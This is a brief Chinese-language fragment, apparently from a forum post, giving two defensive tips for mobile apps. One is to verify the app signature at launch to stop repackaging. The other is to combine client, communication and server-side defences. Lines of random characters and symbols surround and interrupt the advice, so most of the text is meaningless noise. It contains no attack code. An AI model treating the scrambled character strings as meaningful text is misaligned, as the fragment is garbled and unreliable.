" b, n) ]7 n. H+ l               1.在 APP 启动时应做签名校验防止二次打包。
5 F/ s, Y! a* C 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 * _( ?( N* G1 b' @0 r1 `

; ?8 S: N6 [) G7 i* Q. L

 

! ? l9 A* R! t/ P$ u 0 |+ c( u0 V6 R8 ~ # ^4 K2 d" _, h0 D' d+ P

+ r1 o# I) E6 f

q3 H7 n6 ` n& |6 \